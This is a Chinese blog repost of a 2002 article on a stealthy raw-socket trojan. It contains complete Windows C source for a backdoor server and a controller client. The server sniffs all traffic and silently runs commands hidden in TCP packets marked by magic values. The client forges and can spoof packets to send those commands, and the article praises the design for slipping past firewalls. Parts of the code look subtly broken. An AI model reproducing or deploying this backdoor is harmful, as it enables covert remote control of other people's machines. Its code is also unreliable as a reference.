文章作者:refdom@xfocus.org
基于嗅探原理的原始套接字木马。
首先我们说说现有木马的特点和功能。早期木马一般都是基于TCP连接的,现在这种木马的生存能力
非常有限,因为直接基于连接的木马很容易被拦截或者发现。然后有通过改变协议来实现通讯隐藏的木马,
比如采用UDP或者ICMP或者其他协议的,当然,这些协议通常对于主机来说并不常用,所以很多安全配置
上就要求尽量禁止这些协议,比如禁止ICMP,让ICMP木马没有了生存机会。反向连接或者ACK木马等非常流
行,因为表现为不是直接的由外向内的TCP连接。
当然木马还更多发展在自身的隐藏上,比如注射、核心木马等。不过该方法的重点暂不是自身进程的
隐藏,而强调在通讯方式上。
这里讲的一种实现方式是:使用基于嗅探原理的原始套接字木马。它的基本实现是:服务器端是一个
sniffer和发包器,它将捕获指定特征的数据包。客户端是一个发包器和嗅探器,用来发送指定特征的数据
包并包括定义的命令以及接收server的数据。当server捕获到该指定特征的数据包时,变成激活状态,通
过分析该数据包,获得client发送的命令和client的IP地址,然后实现相应的命令,并将执行后的结果发
送回client,client的嗅探部分则接收相应的数据。所有的数据发送都是通过原始套接字(或相应)进行。
比如:我们设置特定的协议或者ACK或者其他位及其集合为特征。
该方式的优点:完全基于非连接状态,使用原始包进行通讯,不同协议有关,可使用任意协议,可采
用任意指定的数据包形式,可实现部分的隐藏地址(如果是非交换的局域网则是可以完全的隐藏地址)、
可实现无连接反向通讯、甚至能够突破一些防火墙的监视;
缺点:不是可靠的数据连接、不稳定地执行大数据传输,对于数据流量较大的SERVER,其sniffer的效
率占很重要的地位;
以下是一个简单的演示,看起来比较象一个后门。呵呵。麻雀虽小,五脏具全。
其中定义了一个简单的木马协议,基于TCP协议基础上,使用了SEQ位来判别而不基于端口,能够执行指定的命令。
定义部分:
1
#define
MAX_PACKET_SIZE 65536
2
#define
SEQ_IDENTITY 12345
//
验证是否符合需要的SEQ值,这个值在正常包中不会有吧!
3
#define
TROJAN_ID_IDENTITY 6789
//
验证是否符合需要的trojan_id值
4
#define
LOCAL_PORT 1234
//
本地Port, 这个定义并没有实际意义
5
#define
SERVER_PORT 80
//
服务端Port, 这个定义并没有实际意义
6
7
typedef
struct
ip_hdr
//
定义IP首部
8
{
9
unsigned
char
h_verlen;
//
4位首部长度,4位IP版本号
10
unsigned
char
tos;
//
8位服务类型TOS
11
unsigned
short
total_len;
//
16位总长度(字节)
12
unsigned
short
ident;
//
16位标识
13
unsigned
short
frag_and_flags;
//
3位标志位
14
unsigned
char
ttl;
//
8位生存时间 TTL
15
unsigned
char
proto;
//
8位协议 (TCP, UDP 或其他)
16
unsigned
short
checksum;
//
16位IP首部校验和
17
unsigned
int
sourceIP;
//
32位源IP地址
18
unsigned
int
destIP;
//
32位目的IP地址
19
}
IP_HEADER,
*
PIP_HEADER;
20
21
typedef
struct
psd_hdr
//
定义TCP伪首部
22
{
23
unsigned
long
saddr;
//
源地址
24
unsigned
long
daddr;
//
目的地址
25
char
mbz;
26
char
ptcl;
//
协议类型
27
unsigned
short
tcpl;
//
TCP长度
28
}
PSD_HEADER;
29
30
31
typedef
struct
tcp_hdr
//
定义TCP首部
32
{
33
unsigned
short
th_sport;
//
16位源端口
34
unsigned
short
th_dport;
//
16位目的端口
35
unsigned
int
th_seq;
//
32位序列号
36
unsigned
int
th_ack;
//
32位确认号
37
unsigned
char
th_lenres;
//
4位首部长度/6位保留字
38
unsigned
char
th_flags;
//
6位标志位
39
unsigned
short
th_win;
//
16位窗口大小
40
unsigned
short
th_sum;
//
16位校验和
41
unsigned
short
th_urp;
//
16位紧急数据偏移量
42
}
TCP_HEADER,
*
PTCP_HEADER;
43
44
typedef
struct
trojan_packet
//
定义木马使用的协议
45
{
46
unsigned
int
trojan_id;
//
木马数据包的标识,网络顺序
47
unsigned
short
trojan_len;
//
执行的命令长度,主机顺序
48
}
TROJAN_HEADER,
*
PTROJAN_HEADER;
49
50
51
/**/
/*
52
木马数据包的结构
53
54
-------------------------------------------------------------
55
| IP Header | TCP Header | Trojan Header | Trojan Command
56
-------------------------------------------------------------
57
58
包的最小程度是46字节
59
*/
60
61
#pragma pack(pop)
62
63
64
SERVER部分的演示(Server.cpp):
65
66
/**/
//////////////////////////////////////////////////////////////////////////////
//
67
//
68
//
SniffTrojan
69
//
70
//
File : Server.cpp
71
//
Comment : The Server model
72
//
73
//
Created at : 2002.9.13
74
//
Created by : Refdom
75
//
Email : refdom@263.net
76
//
Home Page :
http://www.opengram.com/
77
//
78
//
If you modify the code, or add more functions, please email me a copy.
79
//
80
/**/
//////////////////////////////////////////////////////////////////////////////
//
81
82
/**/
/*
83
木马数据包的结构
84
85
-------------------------------------------------------------
86
| IP Header | TCP Header | Trojan Header | Trojan Command
87
-------------------------------------------------------------
88
89
包的最小程度是46字节
90
*/
91
92
/**/
////////////////////////////////////////////////
//
93
94
void
Usage();
95
96
int
SniffThread();
97
98
int
SendThread();
99
100
int
DecodeData(
char
*
pBuffer);
101
102
unsigned
long
GetLocalIP();
103
104
/**/
////////////////////////////////////////////////
//
105
106
int
main(
int
argc,
char
*
argv[])
107
{
108
WSADATA WSAData;
109
int
nRetCode
=
0
;
110
111
if
(WSAStartup(MAKEWORD(
2
,
2
),
&
WSAData)
!=
0
)
112
{
113
//
WSAStartup Error!
114
printf(
"
WSAStartup Error!%d\n
"
, WSAGetLastError());
115
nRetCode
=
-
1
;
116
return
nRetCode;
117
}
118
119
//
开始嗅探数据
120
SniffThread();
121
122
//
quit
123
WSACleanup();
124
125
return
0
;
126
}
127
128
void
Usage()
129
{
130
printf(
"
**************************************************\n
"
);
131
printf(
"
Demo For SniffTrojan\n\n
"
);
132
printf(
"
\t Written by Refdom\n
"
);
133
printf(
"
\t Email: refdom@xfocus.org or refdom@263.net\n
"
);
134
printf(
"
\t Homepage: http://www.xfocus.org/ or http://www.opengram.com/n
"
);
135
printf(
"
**************************************************\n
"
);
136
}
137
138
int
SniffThread()
139
{
140
int
nRetCode
=
0
;
141
int
nRecvBytes
=
0
;
142
143
char
*
pBuffer
=
NULL;
144
145
SOCKET nSock
=
INVALID_SOCKET;
146
SOCKADDR_IN addr_in;
147
148
DWORD dwBufferLen[
10
];
149
DWORD dwBufferInLen
=
1
;
150
DWORD dwBytesReturned
=
0
;
151
152
//
define a raw socket
153
nSock
=
socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
154
if
(INVALID_SOCKET
==
nSock)
155
{
156
nRetCode
=
-
1
;
157
goto
Exit0;
158
}
159
160
addr_in.sin_family
=
AF_INET;
161
addr_in.sin_port
=
INADDR_ANY;
162
addr_in.sin_addr.S_un.S_addr
=
GetLocalIP();
163
164
nRetCode
=
bind(nSock, (
struct
sockaddr
*
)
&
addr_in,
sizeof
(addr_in));
165
if
(SOCKET_ERROR
==
nRetCode)
166
{
167
printf(
"
BIND Error!%d\n
"
, WSAGetLastError());
168
goto
Exit0;
169
}
170
171
//
socket for sniffer
172
nRetCode
=
WSAIoctl(nSock, SIO_RCVALL,
&
dwBufferInLen,
sizeof
(dwBufferInLen),
173
&
dwBufferLen,
sizeof
(dwBufferLen),
&
dwBytesReturned , NULL , NULL );
174
if
(SOCKET_ERROR
==
nRetCode)
175
{
176
printf(
"
WSAIOCTL Error!%d\n
"
, WSAGetLastError());
177
goto
Exit0;
178
}
179
180
//
start sniffing
181
pBuffer
=
(
char
*
)malloc(MAX_PACKET_SIZE);
182
while
(
1
)
183
{
184
memset(pBuffer,
0
, MAX_PACKET_SIZE);
185
186
nRecvBytes
=
recv(nSock, pBuffer, MAX_PACKET_SIZE,
0
);
187
if
(SOCKET_ERROR
==
nRetCode)
188
{
189
printf(
"
RECV Error!%d\n
"
, WSAGetLastError());
190
goto
Exit0;
191
}
192
193
if
(nRecvBytes
<
46
)
194
continue
;
195
196
DecodeData(pBuffer);
//
数据解码
197
198
}
199
200
Exit0:
201
202
if
(pBuffer
!=
NULL)
203
free(pBuffer);
204
205
if
(nSock
!=
INVALID_SOCKET)
206
closesocket(nSock);
207
208
return
nRetCode;
209
}
210
211
//
获取本地IP地址
212
unsigned
long
GetLocalIP()
213
{
214
char
szLocalIP[
20
]
=
;
215
char
szHostName[
128
+
1
]
=
""
;
216
hostent
*
phe;
217
int
i;
218
if
( gethostname(szHostName,
128
)
==
0
)
{
219
//
Get host adresses
220
phe
=
gethostbyname(szHostName);
221
for
( i
=
0
; phe
!=
NULL
&&
phe
->
h_addr_list
!=
NULL; i
++
)
222
{
223
sprintf(szLocalIP,
"
%d.%d.%d.%d
"
,
224
(UINT)((UCHAR
*
)phe
->
h_addr_list)[
0
],
225
(UINT)((UCHAR
*
)phe
->
h_addr_list)[
1
],
226
(UINT)((UCHAR
*
)phe
->
h_addr_list)[
2
],
227
(UINT)((UCHAR
*
)phe
->
h_addr_list)[
3
]);
228
}
229
}
230
else
231
return
0
;
232
233
return
inet_addr(szLocalIP);
234
}
235
236
237
int
DecodeData(
char
*
pBuffer)
238
{
239
int
nRetCode
=
0
;
240
char
*
pCommand
=
NULL;
241
unsigned
short
usCmdLength
=
0
;
242
243
PIP_HEADER pIPHeader
=
NULL;
244
PTCP_HEADER pTCPHeader
=
NULL;
245
PTROJAN_HEADER pTrojanHeader
=
NULL;
246
247
pIPHeader
=
(PIP_HEADER)pBuffer;
248
249
//
只取TCP包
250
if
(pIPHeader
->
proto
!=
IPPROTO_TCP)
251
goto
Exit0;
252
253
pTCPHeader
=
(PTCP_HEADER)(pBuffer
+
sizeof
(IP_HEADER));
254
255
//
验证该TCP包是否其SEQ值符合需要
256
if
(ntohs(pTCPHeader
->
th_seq)
!=
SEQ_IDENTITY)
257
goto
Exit0;
258
259
pTrojanHeader
=
(PTROJAN_HEADER)(pBuffer
+
sizeof
(IP_HEADER)
+
sizeof
(TCP_HEADER));
260
261
//
验证该TCP包是否是合法的木马包
262
if
(ntohs(pTrojanHeader
->
trojan_id)
!=
TROJAN_ID_IDENTITY)
263
goto
Exit0;
264
265
usCmdLength
=
pTrojanHeader
->
trojan_len;
//
获得命令的长度
266
267
if
(
0
==
usCmdLength)
268
goto
Exit0;
269
270
printf(
"
OK!\n
"
);
271
272
pCommand
=
(
char
*
)malloc(usCmdLength
+
1
);
273
memset(pCommand,
0
, usCmdLength
+
1
);
274
275
memcpy(pCommand, pBuffer
+
sizeof
(IP_HEADER)
+
sizeof
(TCP_HEADER)
+
sizeof
(TROJAN_HEADER), usCmdLength);
276
277
nRetCode
=
WinExec(pCommand, SW_HIDE);
//
执行命令
278
if
(nRetCode
>
31
)
279
{
280
//
WinExec Successfully!
281
}
282
283
Exit0:
284
285
return
nRetCode;
286
}
287
288
289
控制端的演示(Client.cpp):
290
291
292
/**/
////////////////////////////////////////////////
//
293
void
Usage()
294
{
295
printf(
"
**************************************************\n
"
);
296
printf(
"
Demo For SniffTrojan\n\n
"
);
297
printf(
"
\t Written by Refdom\n
"
);
298
printf(
"
\t Email: refdom@xfocus.org or refdom@263.net\n
"
);
299
printf(
"
\t Homepage: http://www.xfocus.org/ or http://www.opengram.com/n
"
);
300
printf(
"
Usage: Client.exe ServerIP Command\n
"
);
301
printf(
"
eg:Client.exe 192.168.0.2 \
"
net user guest
/
active\
"
\n
"
);
302
printf(
"
**************************************************\n
"
);
303
}
304
/**/
////////////////////////////////////////////////
//
305
306
int
main(
int
argc,
char
*
argv[])
307
{
308
int
nRetCode
=
0
, nCommandLength
=
0
;
309
char
szDataBuf[MAX_PACKET_SIZE]
=
;
310
char
*
pCommand
=
NULL;
311
312
BOOL bOption;
313
WSADATA WSAData;
314
SOCKET nSock
=
INVALID_SOCKET;
315
SOCKADDR_IN addr_in;
316
317
IP_HEADER IP_Header;
318
TCP_HEADER TCP_Header;
319
PSD_HEADER PSD_Header;
320
TROJAN_HEADER Trojan_Header;
321
322
Usage();
323
324
if
(argc
!=
3
)
325
{
326
printf(
"
\nArguments Error!\n
"
);
327
return
-
1
;
328
}
329
330
//
获得需要执行的命令
331
nCommandLength
=
strlen(argv[
2
]);
332
pCommand
=
(
char
*
)malloc(nCommandLength
+
2
);
333
memset(pCommand,
0
, nCommandLength
+
2
);
334
memcpy(pCommand, argv[
2
], nCommandLength);
335
336
337
if
(WSAStartup(MAKEWORD(
2
,
2
),
&
WSAData)
!=
0
)
338
{
339
//
WSAStartup Error!
340
printf(
"
WSAStartup Error!%d\n
"
, WSAGetLastError());
341
nRetCode
=
-
1
;
342
return
nRetCode;
343
}
344
345
nSock
=
socket(AF_INET, SOCK_RAW, IPPROTO_IP);
346
if
(INVALID_SOCKET
==
nSock)
347
{
348
printf(
"
SOCKET Error!%d\n
"
, WSAGetLastError());
349
goto
Exit0;
350
}
351
352
nRetCode
=
setsockopt(nSock, IPPROTO_IP, IP_HDRINCL, (
char
*
)
&
bOption,
sizeof
(bOption));
353
if
(SOCKET_ERROR
==
nRetCode)
354
{
355
printf(
"
SetSockOpt Error!%d\n
"
, WSAGetLastError());
356
goto
Exit0;
357
}
358
359
//
填充IP首部
360
IP_Header.h_verlen
=
(
4
<<
4
)
|
(
sizeof
(IP_HEADER)
/
sizeof
(unsigned
long
));
361
IP_Header.tos
=
0
;
362
IP_Header.total_len
=
htons(
sizeof
(IP_HEADER)
+
sizeof
(TCP_HEADER));
363
IP_Header.frag_and_flags
=
0
;
364
IP_Header.ttl
=
128
;
365
IP_Header.proto
=
IPPROTO_TCP;
366
IP_Header.checksum
=
0
;
367
IP_Header.sourceIP
=
GetLocalIP();
//
当然可以伪造自己的地址
368
IP_Header.destIP
=
inet_addr(argv[
1
]);
//
服务器端IP地址,如果是非交换网络,那么可以不是服务器的地址,而设置一个同网
369
370
段或者同HUB的地址。
371
372
//
填充TCP首部
373
TCP_Header.th_sport
=
htons(LOCAL_PORT);
//
这个端口没有实际意义,倒是可以躲开防火墙
374
TCP_Header.th_dport
=
htons(SERVER_PORT);
//
这个端口没有实际意义,倒是可以躲开防火墙
375
TCP_Header.th_seq
=
htons(SEQ_IDENTITY);
//
木马服务器端的识别标志
376
TCP_Header.th_ack
=
345678
;
377
TCP_Header.th_lenres
=
(
sizeof
(TCP_HEADER)
/
4
<<
4
|
0
);
378
TCP_Header.th_flags
=
0x01
;
//
随意设置TCP标志位
379
TCP_Header.th_win
=
12345
;
380
TCP_Header.th_urp
=
0
;
381
TCP_Header.th_sum
=
0
;
382
383
//
填充木马协议的头部
384
Trojan_Header.trojan_id
=
htons(TROJAN_ID_IDENTITY);
385
Trojan_Header.trojan_len
=
nCommandLength;
386
387
//
填充TCP伪首部(用于计算校验和)
388
PSD_Header.saddr
=
IP_Header.sourceIP;
389
PSD_Header.daddr
=
IP_Header.destIP;
390
PSD_Header.mbz
=
0
;
391
PSD_Header.ptcl
=
IPPROTO_TCP;
392
PSD_Header.tcpl
=
htons(
sizeof
(TCP_HEADER)
+
sizeof
(TROJAN_HEADER)
+
nCommandLength);
393
394
//
计算TCP校验和
395
memcpy(szDataBuf,
&
PSD_Header,
sizeof
(PSD_HEADER));
396
memcpy(szDataBuf
+
sizeof
(PSD_HEADER),
&
TCP_Header,
sizeof
(TCP_HEADER));
397
memcpy(szDataBuf
+
sizeof
(PSD_HEADER)
+
sizeof
(TCP_HEADER),
&
Trojan_Header,
sizeof
(TROJAN_HEADER));
398
memcpy(szDataBuf
+
sizeof
(PSD_HEADER)
+
sizeof
(TCP_HEADER)
+
sizeof
(TROJAN_HEADER), pCommand, nCommandLength);
399
TCP_Header.th_sum
=
CheckSum((unsigned
short
*
)szDataBuf,
sizeof
(PSD_HEADER)
+
sizeof
(TCP_HEADER)
+
400
401
sizeof
(TROJAN_HEADER)
+
nCommandLength);
402
403
//
填充发送缓冲区
404
memcpy(szDataBuf,
&
IP_Header,
sizeof
(IP_HEADER));
405
memcpy(szDataBuf
+
sizeof
(IP_HEADER),
&
TCP_Header,
sizeof
(TCP_HEADER));
406
memcpy(szDataBuf
+
sizeof
(IP_HEADER)
+
sizeof
(TCP_HEADER),
&
Trojan_Header,
sizeof
(TROJAN_HEADER));
407
memcpy(szDataBuf
+
sizeof
(IP_HEADER)
+
sizeof
(TCP_HEADER)
+
sizeof
(TROJAN_HEADER), pCommand, nCommandLength);
408
409
addr_in.sin_family
=
AF_INET;
410
addr_in.sin_port
=
htons(LOCAL_PORT);
411
addr_in.sin_addr.S_un.S_addr
=
inet_addr(argv[
1
]);
412
413
//
发送命令
414
printf(
"
Start to send command\n
"
);
415
nRetCode
=
sendto(nSock, szDataBuf,
416
sizeof
(IP_HEADER)
+
sizeof
(TCP_HEADER)
+
sizeof
(TROJAN_HEADER)
+
nCommandLength,
417
0
, (
struct
sockaddr
*
)
&
addr_in,
sizeof
(addr_in));
418
if
(SOCKET_ERROR
==
nRetCode)
419
{
420
printf(
"
Sendto Error!%d\n
"
, WSAGetLastError());
421
goto
Exit0;
422
}
423
424
printf(
"
Send OK!\n
"
);
425
426
427
Exit0:
428
429
if
(pCommand
!=
NULL)
430
free(pCommand);
431
432
if
(nSock
!=
INVALID_SOCKET)
433
closesocket(nSock);
434
435
WSACleanup();
436
437
return
0
;
438
}
439
440
2002年的文章 现在还在传 算了 冰血封情还是发吧
地震让大伙知道:居安思危,才是生存之道。
posted on 2007-02-21 12:16
小寻 阅读(1214)
评论(0) 编辑 收藏 所属分类:
network 、
入侵反入侵